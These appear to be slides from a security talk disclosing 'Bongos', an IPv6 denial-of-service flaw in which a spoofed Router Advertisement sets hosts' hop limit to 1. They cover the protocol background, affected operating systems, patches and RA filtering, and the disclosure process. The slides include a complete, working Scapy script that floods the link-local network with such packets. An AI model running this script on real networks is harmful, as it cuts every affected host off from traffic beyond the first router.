Bongos

It’s not the end of the Internet

https://www.bongos.se/

Bongos: What is it

- Simple (IPv6) Denial of Service Attack
  - Cross platform
- Simple to Exploit
  - Link Local

IPv6: Some details

Things you need to know

MODIO
Secure & efficient energy information

IPv6: Hop Limit

TTL in IPv4 was renamed
Hop Limit in IPv6

IPv6: Hop Limit

All routers decrease hop limit by 1

reject if 0

Reject if < 255 for Link Local

IPv6: Neighbour Discovery

Things you need to know

IPv6: Neighbour Discovery

Client & Router

IPv6: Neighbour Discovery (short & in~~correct~~)

~~Client: Asks for routes~~

Router: Advertises routes

IPv6: Router Advertisement

ICMP Type	ICMP Code	Checksum
Cur Hop limit	M|O|Reserved	Router Lifetime

Reachable time
Retrans timer
Options

IPv6: Router Advertisement

ICMP Type	ICMP Code	Checksum
Cur Hop limit	M|O|Reserved	Router Lifetime

Reachable time
Retrans timer
Options

IPv6: Quoth the RFC

“If the received Cur Hop Limit value is non-zero, the host SHOULD set its CurHopLimit variable to the received value.”

MODIO
Secure & efficient energy information

IPv6: But...

What if there's nothing else in the Router Advertisement?

Exploit

Let’s see what happens!

Exploit: SCAPY rocks

A (Python) framework for packet manipulation

Exploit: bongos.py

```
#!/bin/env python
import scapy.all
from scapy.layers.inet6 import *
ip = IPv6()
ip.dst = "ff02::1"
```

Exploit: bongos.py

```
icmp = ICMPv6ND_RA()
icmp.chlim = 1
send(ip/icmp, loop=True,inter=1)
```

Exploit: And then what?

Clients see RA packet and
Apply the Hop Limit

Impact

Hop Limit is per interface

Impact

Hop Limit is suddenly 1

Impact

Hop Limit is suddenly 1

Globally

Impact

All outgoing packets get dropped at first router

MODIO

Secure & efficient energy information

Impact: Operating Systems

Linux

(Android, RHEL, SuSE…)

FreeBSD

(Juniper, PFSense)

Apple OS X

Apple iOS

Microsoft Windows 8.x

Impact: Protection

RFC 3756:
“….ignore very small hop limits.”

Impact: Fixes

Patch your OS:

- Linux
- BSD

Impact: ~~Fixes~~ workarounds

~~Patch your OS:~~

- Android?
- Apple?
- Others?

Secure & efficient energy information

Impact: ~~Fixes~~ workarounds

Filter out RA packets

- Switches
- Firewalls
- Wifi access points

Impact: ~~Fixes~~ workarounds

Suspicious RA packets

- Local firewall

Reporting

Then what?

Reporting

Vendor sec / OSS sec

Reporting

CERT/CC!

Reporting

With patch!

Reporting

And PoC!

Reporting

Then silence

Reporting

45 days disclosure timeline

Reporting

Question about upstream

Reporting

OK to post patches!

(2 weeks)

Reporting

Patches are public

(woups)

Reporting

Instant disclosure by CERT

Reporting

WOUPS

Reporting

CVE request

Reporting

It’s all open

Bongos: Recap

- Link Local
- Cross Platform
- Easy
- Reporting still sucks

Questions?

https://www.bongos.se/